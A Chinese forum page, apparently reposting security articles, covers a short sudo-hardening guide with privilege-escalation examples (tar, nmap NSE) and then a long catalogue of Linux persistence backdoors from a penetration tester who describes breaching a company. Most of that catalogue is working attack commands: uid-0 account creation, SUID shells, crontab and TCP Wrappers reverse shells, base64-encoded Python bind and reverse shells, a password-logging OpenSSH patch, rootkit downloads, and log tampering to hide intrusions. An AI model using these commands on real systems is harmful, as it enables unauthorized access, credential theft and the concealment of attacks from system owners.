We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for sec17:
[b]sec17 is not in the sudoers file. This incident will be reported.
[/b][sec17@bogon tmp]$
很多系统管理直接对  vim /etc/sudoers 进行的编辑,增加权限,或者使用visudo 87
88 ## Next comes the main part: which users can run what software on
89 ## which machines (the sudoers file can be shared between multiple
90 ## systems).
91 ## Syntax:
92 ##
93 ## user MACHINE=COMMANDS
94 ##
95 ## The COMMANDS section may have other options added to it.
96 ##
97 ## Allow root to run any commands anywhere
[b]98 root ALL=(ALL) ALL
99 ttgo2 ALL=(ALL) ALL
100 sec17 ALL=(ALL) ALL[/b]
说明一下   “sec17   ALL=(ALL)       ALL” 配置含义,截图如下:





 
如果是权限是ALL的话,那么就可以执行任何命令了。因此存在非常大的安全问题,甚至可以通过sudo passwd 修改root密码,如何解决呢?我们往下继续。
 
3.2 如何解决
 
我们执行普通用户的操作命令,这个要特别熟悉该普通用的业务和操作命令和规范,那么现在解决一下 普通用户 执行passwd 修改root的方法,执行 visudo 命令,添加一个命令如下:ttgo2 ALL=(root) !/usr/bin/passwd, /usr/bin/passwd [A-Za-z]*, !/usr/bin/passwd root




 
保存并退出,我们现在使用ttgo2 普通行号进行测试。如下:[ttgo2@bogon ~]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon ~]$
[ttgo2@bogon ~]$ sudo passwd
[sudo] password for ttgo2:
[b]Sorry, user ttgo2 is not allowed to execute '/usr/bin/passwd' as root on bogon.
[/b][ttgo2@bogon ~]$


 
 
注意问题: 在配置visudo的时候,需要添加命令的全路径,多个命令直接使用“,”逗号隔开。
 
夜色已深,已经困的快睁不开双眼了,希望能对大家有所帮助
 
 
  查看全部
最近看过一篇文章关于sudo的安全性的讨论,正好自己最近工作也与Linux有关,自己总结了一下,给大家一起分享,现在企业在Linux的使用中,越来越关注安全问题,运维中使用普通用户进行管理,遇到需要root账号执行时候,使用sudo 命令来提升自己执行权限,这样做是为了把账号权限降低,避免安全。
 
一、 sudo 是什么
sudo命令用来以其他身份来执行命令,预设的身份为root。在/etc/sudoers中设置了可执行sudo指令的用户。若其未经授权的用户企图使用sudo,则会发出警告的邮件给管理员。用户使用sudo时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码。
选项参数
-b:在后台执行指令;
-h:显示帮助;
-H:将HOME环境变量设为新身份的HOME环境变量;
-k:结束密码的有效期限,也就是下次再执行sudo时便需要输入密码;。
-l:列出目前用户可执行与无法执行的指令;
-p:改变询问密码的提示符号;
-s<shell>:执行指定的shell;
-u<用户>:以指定的用户作为新的身份。若不加上此参数,则预设以root作为新的身份;
-v:延长密码有效期限5分钟;
-V :显示版本信息。
举例: 使用sudo执行 cat /etc/shadow
[ttgo2@bogon ~]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[ttgo2@bogon ~]$ cat /etc/shadow
cat: /etc/shadow: Permission denied

[ttgo2@bogon ~]$ sudo cat /etc/shadow
[sudo] password for ttgo2:
root:$1$txEWMiG.$4kBR6Cfsl1fyeiT540BIC.:17351:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
sync:*:15980:0:99999:7:::
shutdown:*:15980:0:99999:7:::

二、 抛出问题
使用普通用户执行 sudo su - root 是不是直接使用root 账号了? 我们来看一下执行结果。
问题1:直接执行sudo su - root
[ttgo2@bogon ~]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon ~]$ sudo su - root
[root@bogon ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@bogon ~]#

 
还有其他多种操作可以直接提升到root用户,方法如下:
 
问题2:执行sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
[ttgo2@bogon tmp]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon tmp]$ sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: testfile: Cannot stat: No such file or directory
[root@bogon tmp]#
[root@bogon tmp]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@bogon tmp]#
[root@bogon tmp]#

问题3:nmap 可以通过执行脚本来获取root的shell,执行如下
[ttgo2@bogon tmp]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon tmp]$
[ttgo2@bogon tmp]$ echo "os.execute('/bin/sh')">/tmp/shell.nse
[ttgo2@bogon tmp]$
[ttgo2@bogon tmp]$
[ttgo2@bogon tmp]$ sudo nmap --script=/tmp/shell.nse

Starting Nmap 5.51 ( http://nmap.org ) at 2018-09-08 08:00 PDT
sh-4.1#
sh-4.1#
sh-4.1#
sh-4.1#

这样的方法还有还有很多,比如:strace、ftp、nmap、tcpdump、except、nano,这些命令都是可以实现sudo + 命令 提权成root shell。问题是出在什么地方,我们下面来看一下
 
三,问题解决
3.1 问题根源:普通用户使用sudo 配置(对权限没有控制)
在Centos 6.X Linux系统中,默认多普通用户是不允许使用sudo命令的,如果使用就会提示如下信息:
[sec17@bogon tmp]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
[sec17@bogon tmp]$ sudo cat /etc/shadow

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for sec17:
[b]sec17 is not in the sudoers file. This incident will be reported.
[/b][sec17@bogon tmp]$

很多系统管理直接对  vim /etc/sudoers 进行的编辑,增加权限,或者使用visudo
  87 
88 ## Next comes the main part: which users can run what software on
89 ## which machines (the sudoers file can be shared between multiple
90 ## systems).
91 ## Syntax:
92 ##
93 ## user MACHINE=COMMANDS
94 ##
95 ## The COMMANDS section may have other options added to it.
96 ##
97 ## Allow root to run any commands anywhere
[b]98 root ALL=(ALL) ALL
99 ttgo2 ALL=(ALL) ALL
100 sec17 ALL=(ALL) ALL[/b]

说明一下   “sec17   ALL=(ALL)       ALL” 配置含义,截图如下:

wKioL1MYJ0CRJZGSAAD9-EL6Zs4959.jpg

 
如果是权限是ALL的话,那么就可以执行任何命令了。因此存在非常大的安全问题,甚至可以通过sudo passwd 修改root密码,如何解决呢?我们往下继续。
 
3.2 如何解决
 
我们执行普通用户的操作命令,这个要特别熟悉该普通用的业务和操作命令和规范,那么现在解决一下 普通用户 执行passwd 修改root的方法,执行 visudo 命令,添加一个命令如下:
ttgo2  ALL=(root)     !/usr/bin/passwd, /usr/bin/passwd [A-Za-z]*, !/usr/bin/passwd root

QQ截图20180908232316.png

 
保存并退出,我们现在使用ttgo2 普通行号进行测试。如下:
[ttgo2@bogon ~]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon ~]$
[ttgo2@bogon ~]$ sudo passwd
[sudo] password for ttgo2:
[b]Sorry, user ttgo2 is not allowed to execute '/usr/bin/passwd' as root on bogon.
[/b][ttgo2@bogon ~]$


 
 
注意问题: 在配置visudo的时候,需要添加命令的全路径,多个命令直接使用“,”逗号隔开。
 
夜色已深,已经困的快睁不开双眼了,希望能对大家有所帮助
 
 
 

我所了解的渗透测试——Linux后门类型

渗透测试kakaxi 发表了文章 • 0 个评论 • 212 次浏览 • 2018-09-04 19:33 • 来自相关话题

在一次渗透中,成功获取某目标几台比较重要的机器,当时只想着获取脱库,结果动静太大被发现了,之前渗透并没太在意Linux维持权限,经过此次事后从Google找各种资料,一款满意的rootkit都没有,现在一直在关注这方面,但还是没有找到满意的后门,在渗透圈一个人的资源总是有限往往你全力追求的,也不过是别人的一层关系就可以解决得到更有力的资源。
常用后门技术

增加超级用户帐号
破解/嗅控用户密码
放置SUID Shell**
利用系统服务程序
TCP/UDP/ICMP Shell
Crontab定时任务
共享库文件
工具包rootkit
可装载内枋模块(LKM)

 增加超级用户
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd
如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow小案例
搞某外企,主站拿不下来进行C段渗透,发现某个业务系统存在Struts2漏洞。
Struts漏洞工具执行命令有些交互式没有办法回显,所以通过无密码添加密码来连接SSH:useradd seradd -u 0 -o -g root -G roo1
echo "123456" | passwd --stdin roo1 #有些环境中并不能成功
跑去登录发现拒绝访问,查看了下/etc/shadow并没有修改成功密码,这时候我考虑了可能设置了密码策略,所以我添加了一个14位,大小写加特殊字符的,还是无法登录,没有办法修改成功,因为无法回显并不知道错误信息,所以试了几个添加密码的方法。
echo "roo1:password" |chpasswd
修改密码失败echo "123456n123456" |(sudo passwd roo1)
#有些情况下是可以成功的一条命令
试了几种方法都没有修改成密码,最后无回显添加Linux密码一种方法:
而这种方法是可以绕过密码强速限制添加的。/usr/sbin/useradd -u 0 -o -g root -G root -d /home/mx7krshell mx7krshell -p $1$F1B0hFxb$NkzreGE7srRJ**/

果然成功了,后来上服务器用passwd修改密码,提示

是之前写的密码太简单了,而服务器有密码策略,然后用mkpasswd自动生成的密码修改尝试 NW8JLHV6m*ug,成功了。
其实这条也是可以成功的,需要密码强度。[size=14]useradd -u 0 -o -g root -G root user2 |[/size][size=14]echo[/size][size=14] -e [/size][size=14]"1qaz2wsxn1qaz2wsx"[/size][size=14]|passwd user1[/size]

 破解
获得shadow文件后,用John the Ripper工具破解薄弱的用户密码,根据我所使用的情况下只能破解一些简单常用密码其它密码很难跑出来。
除此之外可以使用hashcatGPU、或者分布式服务器来进行破解
这里给出之前同事在本地装的一台配置,价格好像也就3万多:

supermicro超微7048GR-TR准系统 双路塔式工作站4 GPU运算服务器 |一台
Intel/英特尔 XEON至强 E5-2620 V3 15M 2.4G 6核12 |2颗
金士顿 16G DDR4 REG ECC 2133 服务器内存条 |2根
三星(SAMSUNG) 850 PRO 512G SATA3 固态硬盘|2块
NVIDIA技嘉GTX1070 Founders Edition 8G| 4张 32G GPU

对于跑Windows密码还是非常快,而遇到Linux加密算法是非常蛋疼,如有需要可以贴出来搭建GPU破解服务器文章。
 放置SUID Shell
(测试失败):bash2针对suid做了一些护卫措施
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
 Crontab后门
(容易被发现)
crontab命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
在Redis未授权访问中可以利用此方法获取Shell。(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;rno crontab for `whoami`0cn")|crontab –

 
 ssh 公钥免密
(容易被发现)ssh-keygen -t rsa
把id_rsa.pub写入服务端的authorized_keys中chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
 alias 后门
当前用户目录下.bashrcalias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

 pam 后门 or openssh
参考:
关于openssh通用后门的拓展
http://0cx.cc/ssh_get_password.jspxwget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff //patch 后门
vi includes.h //修改后门密码,记录文件位置,
/
+#define ILOG “/tmp/ilog” //记录登录到本机的用户名和密码
+#define OLOG “/tmp/olog” //记录本机登录到远程的用户名和密码
+#define SECRETPW “123456654321” //你后门的密码
/yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

yum install -y zlib zlib-devel
make && make install
service sshd restart //重启sshd
Centos6可以使用后门,但是配合curl把登录密码发送到服务器失败
 SSH后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
执行完之后,任何一台机器ssh root@IP -p 31337 不需要密码
 SSH wrapper后门简介
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
连接:socat STDIO TCP4:target_ip:22,sourceport=13377

默认端口为13377否则会出现:

 mafix rootkit
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现让攻击者远程登陆的,特点是配置简单并可以自定义验证密码和端口号。
不知道我测试是否有问题很多系统不被支持

 利用系统服务程序
修改/etc/inetd.conf 
daytime stream tcp nowait /bin/sh sh –I
用trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序
 TCP/UDP/ICMP Shell
Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。
TCP ACK数据包后门,能够穿越防火墙。
Linux下的icmp shell后门 容易被发现
http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
被控端./ishd -i 65535 -t 0 -p 1024 -d
控制端./ish -i 65535 -t 0 -p 1024 192.168.1.69


这个是py版的
https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
Linux下ICMP后门PRISM
使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息的ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活。
编译安装:gcc <..OPTIONS..> -Wall -s -o prism prism.c
-DDETACH #后台运行
-DSTATIC #开启STATIC模式 (默认ICMP模式)
-DNORENAME #不使用自定义的进程名
-DIPTABLES #清空所有的iptables规则
用的是单台机器测试所以2个IP一样:sendPacket.py 内机 FUCK 控制端 19832


测试感觉还行,不知道在真实环境下能否维持多久。
参考
http://vinc.top/2016/09/28/linux%E4%B8%8Bicmp%E5%90%8E%E9%97%A8prism/
 
 共享库文件
在共享库中嵌入后门函数
使用后门口令激活Shell,获得权限
能够躲避系统管理员对二进制文件本身的 校验
 可装载内核模块(LKM)
LKM:Loadable Kernel Modules
动态的加载,不需要重新编译内核。
截获系统调用,具有隐藏目录、文件、进 程、网络连接等强大功能。
自身隐蔽性好,发现难度较大。
著名的LKM包有adore和knark。
内核级rootkit Kbeast的安装与使用
支持的内核版本有2.6.16, 2.6.18, 2.6.32, and 2.6.35。
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
config.h配置密码等

安装./setup build


守护进程的PID是1747
隐藏目录:

通过命令是无法查看开放端口的

ps aux命令也是无法查看到进程,除非指定进程名称,我们把后门进程名称伪靠系统服务也是可以让管理员头疼。
而通过nmap全端口扫描出现了13377后门端口,通过telnet连接

使用总结:
隐藏进程、隐藏端口
支持版本太少、重启将失效。
http://vinc.top/2016/06/07/%E5%86%85%E6%A0%B8%E7%BA%A7rootkit-kbeast%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8/
 隐藏文件
Linux/Unix 藏文件和文件夹
Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。
方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。
touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
 Git hooks
原是XTERM反弹Shell,老外与Git结合echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
Xnest:1
当更新git的时候会触发:
git commit -am "Test"
 PROMPT_COMMAND后门
bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。
一般运维人员都将用来记录每个用户执行命令的时间ip等信息。
每执行一个命令之前都会调用这个变量将你操作的命令记录下来。export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd from ip:$SSH_CLIENT $SSH_TTY"; }`"; }>> /home/pu/login.log'
但是在安全人员手里味道变得不一样了
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))" 2>/dev/null &)"
Base64解密:import socket,os,sys
s=socket.socket()
s.bind(("",1025))
s.listen(1)
(c,a)=s.accept()
while 1:
d=c.recv(512)
if 'exit' in d:
s.close()
sys.exit(0)
r=os.popen(d).read()
c.send(r)
一段简单的python socks监听命令

NC连接
nc 192.168.1.174 1025

 PROMPT_COMMAND提权
这个只是留做后门,有些黑客则是利用这点来进行提权。
这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
除此之外可以利用script记录某人行为:
基本用法:
script -t 2>demo.time -a demo.his 记录保存为录像
scriptreplay demo.time demo.his 播放记录
用户家目录下,修改环境变量,使得用户登录就会触发录像vi ~/.profile
script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his
 Sudoers “trick”
其实Sudoers并不算后门,是一个Linux用户控制权限
通过root权限改写对普通用户可执行root命令sudo su -c "echo 'mx7krshell ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"

授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2,...

更详细文章参考:
https://segmentfault.com/a/1190000007394449
 TCP Wrappers
TCP_Wrappers是一个工作在应用层的安全工具,它只能针对某些具体的应用或者服务起到一定的防护作用。比如说ssh、telnet、FTP等服务的请求,都会先受到TCP_Wrappers的拦截。
TCP_Wrappers有一个TCP的守护进程叫作tcpd。以telnet为例,每当有telnet的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的telnet进程,由telnet完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供telnet服务。
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow
ssh访问目标主机ssh [email]qweqwe@192.168.4[/email].100触发后门

 nmap nse后门
很多linux系统中默认都安装了nmapmkdir -p ~/.nmap/scripts/
cd ~/.nmap/scripts/
curl -O 'https://raw.githubusercontent.com/ulissescastro/linux-native-backdoors/master/nmap/http-title.nse'
local payload = "ZWNobyAiKi8xICogKiAqICogcHl0aG9uIC1jIFwiZXhlYygnYVcxd2IzSjBJSE52WTJ0bGRDeHpkV0p3Y205alpYTnpMRzl6TzJodmMzUTlKekV5Tnk0d0xqQXVNU2M3Y0c5eWREMDBORE03Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2hvYjNOMExIQnZjblFwS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdiM011WkhWd01paHpMbVpwYkdWdWJ5Z3BMREVwTzI5ekxtUjFjRElvY3k1bWFXeGxibThvS1N3eUtUdHdQWE4xWW5CeWIyTmxjM011WTJGc2JDaGJKeTlpYVc0dlltRnphQ2NzSUNjdGFTZGRLVHNLJy5kZWNvZGUoJ2Jhc2U2NCcpKVwiIiB8IGNyb250YWI="


base64解密echo "*/1 * * * * python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO2hvc3Q9JzEyNy4wLjAuMSc7cG9ydD00NDM7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChob3N0LHBvcnQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vYmFzaCcsICctaSddKTsK'.decode('base64'))"" | crontab#

解密import socket,subprocess,os;host='127.0.0.1';port=443;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash', '-i']);

可以将127.0.0.1改成你的地址

 进程注入
cymothoa进程注入后门
./cymothoa -p 1014 -s 0 -y 8888

只能连接一次后就失效没啥用。
https://github.com/jorik041/cymothoa
 清理
bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null
 修改上传文件时间戳
touch -r 老文件时间戳 新文件时间戳
 伪造Apache日志中的指定IP
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log
 Linux日志清除
首先是Apache日志,Apache主要的日志就是access.log``error_log,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。根据Linux的配置不同和Apache的版本的不同,文件的放置位置也是不同的,不过这些都可以在httpd.conf中找到。
对于明文的Apache文件,通过正则表达式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.log
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log
其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。
在正则表达式中有特殊的含义,所以需要用“”来进行转义。
MySQL日志文件
log-error=/var/log/mysql/mysql_error.log #错误日志
log=/var/log/mysql/mysql.log#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
log-bin=/var/log/mysql/mysql_bin.log # 用于备份恢复,或主从复制.这里不涉及。
log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志
log-error=/var/log/mysql/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/mysql/mysql_slow.log
至于二进制日志文件,需要登录mysql client来修改删除,建议这种操作最先执行。
php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/apache/php_error.log
最后就是Linux的日志文件了,这个比较多,记录的也比较复杂,我的环境是CentOS 6.3。我现在只把和渗透有关的文件列出来,主要/etc/logrotate.d/syslog中/var/log/maillog,该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
var/log/messages,该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格
/var/log/wtmp,该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录
/var/run/utmp,该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件
/var/log/xferlog,该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。
bash_history,这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件
清除脚本:
https://github.com/JonGates/jon
之前记录的笔记反过来看Linux后门的各种类型也算是比较全面了,最后我还是没有找到中意的后门,商业的又买不起,自己又不会写,转行了转行了搞毛渗透。
参考链接:
https://www.slideshare.net/ulissescastro/50-ton-of-backdoors?from_action=save
linux一种无文件后门技巧(译文)
https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%
 本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/155943
安全客 - 有思想的安全新媒体 查看全部

在一次渗透中,成功获取某目标几台比较重要的机器,当时只想着获取脱库,结果动静太大被发现了,之前渗透并没太在意Linux维持权限,经过此次事后从Google找各种资料,一款满意的rootkit都没有,现在一直在关注这方面,但还是没有找到满意的后门,在渗透圈一个人的资源总是有限往往你全力追求的,也不过是别人的一层关系就可以解决得到更有力的资源。
常用后门技术

  • 增加超级用户帐号

  • 破解/嗅控用户密码

  • 放置SUID Shell**

  • 利用系统服务程序

  • TCP/UDP/ICMP Shell

  • Crontab定时任务

  • 共享库文件

  • 工具包rootkit

  • 可装载内枋模块(LKM)


 增加超级用户
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd

如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
小案例
搞某外企,主站拿不下来进行C段渗透,发现某个业务系统存在Struts2漏洞。
Struts漏洞工具执行命令有些交互式没有办法回显,所以通过无密码添加密码来连接SSH:
useradd seradd -u 0 -o -g root -G roo1
echo "123456" | passwd --stdin roo1 #有些环境中并不能成功

跑去登录发现拒绝访问,查看了下/etc/shadow并没有修改成功密码,这时候我考虑了可能设置了密码策略,所以我添加了一个14位,大小写加特殊字符的,还是无法登录,没有办法修改成功,因为无法回显并不知道错误信息,所以试了几个添加密码的方法。
echo "roo1:password" |chpasswd

修改密码失败
echo "123456n123456" |(sudo passwd roo1)
#有些情况下是可以成功的一条命令

试了几种方法都没有修改成密码,最后无回显添加Linux密码一种方法:
而这种方法是可以绕过密码强速限制添加的。
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/mx7krshell mx7krshell -p $1$F1B0hFxb$NkzreGE7srRJ**/

果然成功了,后来上服务器用passwd修改密码,提示

是之前写的密码太简单了,而服务器有密码策略,然后用mkpasswd自动生成的密码修改尝试 NW8JLHV6m*ug,成功了。
其实这条也是可以成功的,需要密码强度。
[size=14]useradd -u 0 -o -g root -G root user2 |[/size][size=14]echo[/size][size=14] -e [/size][size=14]"1qaz2wsxn1qaz2wsx"[/size][size=14]|passwd user1[/size]

 破解
获得shadow文件后,用John the Ripper工具破解薄弱的用户密码,根据我所使用的情况下只能破解一些简单常用密码其它密码很难跑出来。
除此之外可以使用hashcatGPU、或者分布式服务器来进行破解
这里给出之前同事在本地装的一台配置,价格好像也就3万多:


supermicro超微7048GR-TR准系统 双路塔式工作站4 GPU运算服务器 |一台
Intel/英特尔 XEON至强 E5-2620 V3 15M 2.4G 6核12 |2颗
金士顿 16G DDR4 REG ECC 2133 服务器内存条 |2根
三星(SAMSUNG) 850 PRO 512G SATA3 固态硬盘|2块
NVIDIA技嘉GTX1070 Founders Edition 8G| 4张 32G GPU


对于跑Windows密码还是非常快,而遇到Linux加密算法是非常蛋疼,如有需要可以贴出来搭建GPU破解服务器文章。
 放置SUID Shell
(测试失败):bash2针对suid做了一些护卫措施
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

 Crontab后门
(容易被发现)
crontab命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
在Redis未授权访问中可以利用此方法获取Shell。
(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;rno crontab for `whoami`0cn")|crontab –

 
 ssh 公钥免密
(容易被发现)
ssh-keygen -t rsa

id_rsa.pub写入服务端的authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

 alias 后门
当前用户目录下.bashrc
